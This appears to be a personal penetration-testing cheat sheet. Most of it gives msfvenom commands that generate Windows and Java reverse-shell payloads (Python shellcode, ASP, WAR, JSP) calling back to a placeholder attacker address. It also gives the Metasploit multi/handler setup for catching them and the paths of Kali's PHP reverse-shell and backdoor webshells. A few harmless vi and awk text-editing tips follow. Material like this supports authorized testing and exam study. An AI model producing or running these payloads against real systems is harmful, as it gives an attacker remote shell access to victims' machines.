Misc
Msfvenom, linux, etc.
Kali default shells
/usr/share/webshells/php/php-reverse-shell.php
/usr/share/webshells/php/simple-backdoor.phpMsfvenom
Show all payloads
msfvenom -l payloadsSet handler
msfconsole
use exploit/multi/handler
set lhost x.x.x.x
set lport 6969
exploitWindows
Python (non-staged)
msfvenom -p windows/shell_reverse_tcp LHOST=x.x.x.x LPORT=6969 EXITFUNC=thread -b "\x00" -f python -v shellcodeASP (non-staged)
msfvenom -p windows/shell_reverse_tcp LHOST=x.x.x.x LPORT=6969 -f asp > shell.aspLinux
Java WAR (non-staged)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=x.x.x.x LPORT=6969 -f war > shell.warJSP (non-staged)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=x.x.x.x LPORT=6969 -f raw > shell.jspLinux shizzle
Vi
Remove first 5 characters from all lines in file:
:%s/^.\{5}//Remove last 5 characters from all lines in file:
:%s/.\{5}$//Awk
Remove duplicate lines:
awk '!seen[$0]++' fileLast updated
Was this helpful?